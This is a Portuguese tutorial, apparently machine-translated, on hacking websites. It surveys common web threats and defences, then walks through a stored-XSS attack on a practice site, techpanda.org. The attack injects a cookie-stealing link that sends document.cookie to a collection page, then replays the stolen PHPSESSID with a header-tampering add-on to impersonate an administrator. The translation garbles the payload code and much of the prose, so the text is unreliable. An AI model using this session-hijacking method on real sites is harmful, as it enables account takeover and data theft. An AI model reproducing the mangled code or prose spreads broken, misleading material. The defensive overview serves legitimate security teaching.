Articles

How to Hack a Website: Hacking Websites Online Example

Mais pessoas têm acesso à internet do que nunca. Isso levou muitas organizações a desenvolver aplicações baseadas na web que os usuários podem usar online para interagir com a organização. Código mal escrito para aplicações web pode ser explorado para obter acesso não autorizado a dados sensíveis e servidores web.

neste tutorial você vai aprender a hackear sites, e vamos apresentá-lo a técnicas de hacking de aplicativos web e as contra-medidas que você pode colocar em vigor para proteger contra tais ataques.

tópicos abrangidos neste tutorial

  • O que é uma aplicação web? O que são ameaças na Web? como proteger o seu site contra hacks? truques de hacking de sites: hackear um site online!

O que é uma aplicação web? O que são ameaças na Web?

uma aplicação web (também conhecida como Web site) é uma aplicação baseada no modelo cliente-servidor. O servidor fornece o acesso à base de dados e a lógica de Negócio. É hospedado em um servidor web. A aplicação cliente é executada no navegador do cliente. Aplicações Web são geralmente escritas em linguagens como Java, C#, e VB.Net, PHP, ColdFusion Markup Language, etc. os motores de banco de dados usados em aplicações web incluem MySQL, MS SQL Server, PostgreSQL, SQLite, etc.

a maioria das aplicações web estão hospedadas em servidores públicos acessíveis através da Internet. Isso torna-os vulneráveis a ataques devido à fácil acessibilidade. A seguir, são ameaças comuns de aplicação web. injeção de

  • SQL-o objetivo desta ameaça pode ser contornar algoritmos de login, sabotar os dados, etc.
  • Ataques de Negação de Serviço– o objetivo desta ameaça pode ser a de negar a usuários legítimos tenham acesso ao recurso
  • Cross Site Scripting (XSS– o objetivo desta ameaça pode ser injetar código que pode ser executado no lado do cliente navegador.
  • envenenamento por Cookie / sessão-o objetivo desta ameaça é modificar os dados de cookies / sessão por um atacante para obter acesso não autorizado.o objetivo desta ameaça é modificar dados de forma, como preços em aplicações de e-commerce, para que o atacante possa obter itens a preços reduzidos.injeção de código
  • – o objetivo desta ameaça é injetar código como PHP, Python, etc. isso pode ser executado no servidor. O código pode instalar backdoors, revelar informações sensíveis, etc.
  • Defacement– o objetivo desta ameaça é modificar a página foi exibida em um site e redirecionando todos os pedidos de página para uma única página que contém a mensagem do atacante.

Como proteger o seu site contra hacks?

uma organização pode adotar a seguinte política para se proteger contra ataques de servidores web.

  • SQL injeção-desinfectar e validar os parâmetros do Usuário antes de submetê-los à base de dados para processamento pode ajudar a reduzir as chances de ser atacado através de injeção SQL. Motores de banco de dados como MS SQL Server, MySQL, etc. parâmetros de suporte e declarações preparadas. Eles são muito mais seguros do que as declarações SQL tradicionais
  • ataques de negação de Serviço – firewalls pode ser usado para reduzir o tráfego de endereço IP suspeito se o ataque é um DoS simples. A configuração adequada de redes e sistema de Detecção De intrusão também pode ajudar a reduzir as chances de um ataque DoS ter sido bem sucedido.
  • Cross Site Scripting-validating and sanitizing headers, parameters passed via the URL, form parameters and hidden values can help reduce XSS attacks.envenenamento por Cookie / sessão-isso pode ser evitado criptografando o conteúdo dos cookies, cronometrando os cookies após algum tempo, associando os cookies com o endereço IP do cliente que foi usado para criá-los.
  • temperamento da forma – isso pode ser evitado validando e verificando a entrada do Usuário antes de processá-lo.Injecção de código
  • – isto pode ser evitado tratando todos os parâmetros como dados em vez de código executável. A higienização e validação podem ser usadas para implementar isso.
  • Defacement – uma boa política de segurança de desenvolvimento de aplicações web deve garantir que ele sela as vulnerabilidades comumente usadas para acessar o servidor web. Esta pode ser uma configuração adequada do sistema operacional, software de servidor web, e as melhores práticas de segurança ao desenvolver aplicações web.

truques de hackeamento de sites: hackear um site online

neste site hackear cenário prático, vamos sequestrar a sessão de usuários da aplicação web localizado em www.techpanda.org. Usaremos o cross site scripting para ler o ID da sessão de cookies e, em seguida, usá-lo para personificar uma sessão de usuário legítima.

a suposição feita é que o atacante tem acesso à aplicação web e ele gostaria de sequestrar as sessões de outros usuários que usam a mesma aplicação. O objetivo deste ataque poderia ser ganhar acesso administrativo à aplicação web, assumindo que a conta de acesso do atacante é limitada.

começar

  • abrirhttp://www.techpanda.org/
  • para fins práticos, é fortemente recomendado ter acesso através de injecção de SQL. Consulte este artigo para mais informações sobre como fazer isso.
  • o e-mail de autenticação é este endereço de E-mail está a ser protegido dos spambots. Você precisa de JavaScript habilitado para vê-lo. sua senha é Password2010
  • Se tiver iniciado sessão com êxito, em seguida, você receberá a seguinte painel

Como hackear um Site

  • Clique em Adicionar Novo Contato
  • Insira o seguinte como o primeiro nome

<a href=# onclick=\”do documento.location=\ ‘http://techpanda.org/snatch_sess_id.php?c=\’+escape\(document.cookie\)\;\”>Escuro<>

AQUI

O código acima usa JavaScript. Adiciona um hiperlink com um evento onclick. Quando o utilizador não desconfiado clica no link, o evento recupera o ID da sessão de cookies do PHP e envia-o para o snatch_sess_id.página php em conjunto com o id da sessão na URL

Como hackear um Site

  • Insira o restante dos detalhes, como mostrado abaixo
  • Clique em Salvar Alterações

Como hackear um Site

  • Seu painel agora se parece com o seguinte ecrã

Como hackear um Site

  • Desde o cross site script de código é armazenado no banco de dados, ele será carregado toda vez que o os usuários com direitos de acesso de início de sessão
  • Vamos supor que o administrador de logins e clica no hiperlink que diz Escuro
  • Ele/ela vai ter a janela com o id da sessão, mostrando no URL

Como hackear um Site

Nota: o script pode ser de enviar o valor para algum servidor remoto onde o CO é armazenado em seguida, o usuário redireccionado para o site, como se nada tivesse acontecido. Nota: o valor que você obtém pode ser diferente do deste tutorial de hacking webpage, mas o conceito é o mesmo de personificação de sessão

usando Firefox e Adulteração de dados add-on

o fluxograma abaixo mostra os passos que você deve tomar para completar este exercício.

Como hackear um Site

  • Você vai precisar do navegador web Firefox para esta seção e Adulteração de Dados add-on
  • Abra o Firefox e instalar o suplemento, como mostrado nos diagramas abaixo

Como hackear um Site

Como hackear um Site

  • Busca por adulteração de dados, em seguida, clique em instalar como mostrado acima

Como hackear um Site

  • Clique em Aceitar e Instalar…

Como hackear um Site

Como hackear um Site

  • Clique em Reiniciar agora quando a instalação for concluída
  • Ativar a barra de menus no Firefox se ele não é mostrado

Como hackear um Site

  • Clique no menu ferramentas, em seguida, escolha Tamper Data como mostra abaixo

Como hackear um Site

  • você terá a seguinte janela. Nota: Se o Windows não estiver vazia, aperte o botão limpar

Como hackear um Site

  • Clique em Iniciar Tamper menu
  • Alternar de volta para o navegador web Firefox, digite http://www.techpanda.org/painel de controle.php, em seguida, pressione a tecla enter para carregar a página
  • Você receberá a seguinte pop-up de violação de Dados

Como hackear um Site

  • A janela de pop-up tem três (3) opções. A opção de adulteração permite modificar a informação do cabeçalho HTTP antes de ser submetida ao servidor.
  • Clique sobre ele
  • Você receberá a seguinte janela

Como hackear um Site

  • Copie o PHP IDENTIFICAÇÃO da sessão que você copiou do ataque URL e cole-após o sinal de igual. O valor deve agora olhar como este

PHPSESSID=2DVLTIPP2N8LDBN11B2RA76LM2

  • Clique no botão OK
  • Você terá a Adulteração de dados janela pop-up de novo

Como hackear um Site

  • Desmarque a caixa de seleção que pede para Continuar a Adulteração?
  • Clique no botão enviar quando terminar
  • Você deve ser capaz de ver o painel como mostrado abaixo

Como hackear um Site

Nota: nós não loginamos, nós personificamos uma sessão de login usando o valor PHPSESSID que recuperamos usando scripting de cross site

resumo

  • uma aplicação web é baseada no modelo servidor-cliente. O lado cliente usa o navegador web para acessar os recursos no servidor.
  • aplicações Web são geralmente acessíveis através da internet. Isto torna-os vulneráveis a ataques.as ameaças de aplicação web incluem injeção de SQL, injeção de código, XSS, Defacement, envenenamento de cookies, etc.uma boa política de segurança ao desenvolver aplicações web pode ajudar a torná-las seguras.